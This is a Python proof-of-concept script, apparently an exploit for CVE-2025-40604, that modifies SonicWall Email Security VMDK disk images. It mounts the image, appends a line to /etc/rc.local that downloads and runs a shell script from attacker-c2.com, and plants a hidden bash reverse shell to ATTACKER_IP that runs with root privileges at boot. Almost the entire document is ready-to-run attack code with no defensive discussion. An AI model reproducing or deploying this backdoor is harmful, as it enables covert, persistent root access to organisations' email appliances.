CVE-2025-40604

# CVE-2025-40604 PoC - SonicWall Email Security VMDK Image Modification # This PoC demonstrates how to modify VMDK image to inject malicious code import sys import os def mount_vmdk(vmdk_path): """Mount VMDK image using qemu-nbd""" print(f"[*] Mounting VMDK: {vmdk_path}") os.system(f"qemu-nbd -c /dev/nbd0 {vmdk_path}") os.system("mount /dev/nbd0p1 /mnt/vmdk_mount") return "/mnt/vmdk_mount" def inject_backdoor(mount_path): """Inject malicious code into system startup""" print("[*] Injecting backdoor into startup scripts...") # Inject into rc.local or systemd service rc_local = f"{mount_path}/etc/rc.local" backdoor_code = '''#!/bin/bash # Malicious code injected by CVE-2025-40604 exploit wget -q http://attacker-c2.com/shell.sh -O /tmp/.hidden && chmod +x /tmp/.hidden && /tmp/.hidden & ''' with open(rc_local, 'a') as f: f.write(backdoor_code) # Create reverse shell script shell_script = f"{mount_path}/tmp/.hidden" reverse_shell = '''#!/bin/bash bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 ''' with open(shell_script, 'w') as f: f.write(reverse_shell) print("[+] Backdoor injected successfully") def unmount_vmdk(): """Unmount VMDK image""" print("[*] Unmounting VMDK...") os.system("umount /mnt/vmdk_mount") os.system("qemu-nbd -d /dev/nbd0") def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <path_to_vmdk>") sys.exit(1) vmdk_path = sys.argv[1] if not os.path.exists(vmdk_path): print(f"[-] VMDK file not found: {vmdk_path}") sys.exit(1) try: mount_path = mount_vmdk(vmdk_path) inject_backdoor(mount_path) finally: unmount_vmdk() print("[+] Modified VMDK ready for deployment") print("[*] When device boots with this image, backdoor will execute with root privileges") if __name__ == "__main__": main()

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